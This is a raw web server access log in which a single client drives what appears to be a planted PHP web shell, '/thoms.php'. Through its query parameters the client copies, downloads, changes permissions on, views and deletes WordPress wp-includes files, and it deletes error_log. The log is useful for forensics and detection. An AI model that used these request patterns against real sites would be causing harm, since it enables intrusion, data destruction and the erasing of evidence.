45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?chmod=sodium_compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?chmod=ai-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:23 -0400] "GET /thoms.php?dl=locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59407 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ferror_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ferror_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?chmod=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?del=wp-db.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59332 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?dl=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:24 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /big-wife.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /big-wife.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /big-wife.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-application-passwords.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 200 37978 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 200 14894 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?chmod=css&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=css&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /big-wife.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?dl=block-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=block-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?dl=class-phpass.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:25 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?chmod=block-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /big-wife.com.tw/wp-includes/capabilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14895 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13320 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15607 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:26 -0400] "GET /thoms.php?del=post-formats.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmedia-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fmedia-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?chmod=ms-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /big-wife.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1830 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14790 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?chmod=vars.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?dl=theme-previews.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12305 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-smtp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-smtp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:27 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php HTTP/1.1" 200 14287 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-bindings-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-compat&p= HTTP/1.1" 200 12302 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59088 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?del=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-supports&p= HTTP/1.1" 200 12299 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-supports&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:28 -0400] "GET /thoms.php?del=error_log&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=error_log&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttps-detection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttps-detection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /big-wife.com.tw/wp-includes/rss-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?del=ms-load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?dl=shortcodes.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=shortcodes.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:29 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13013 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20084 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21754 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 200 14333 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15886 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:30 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
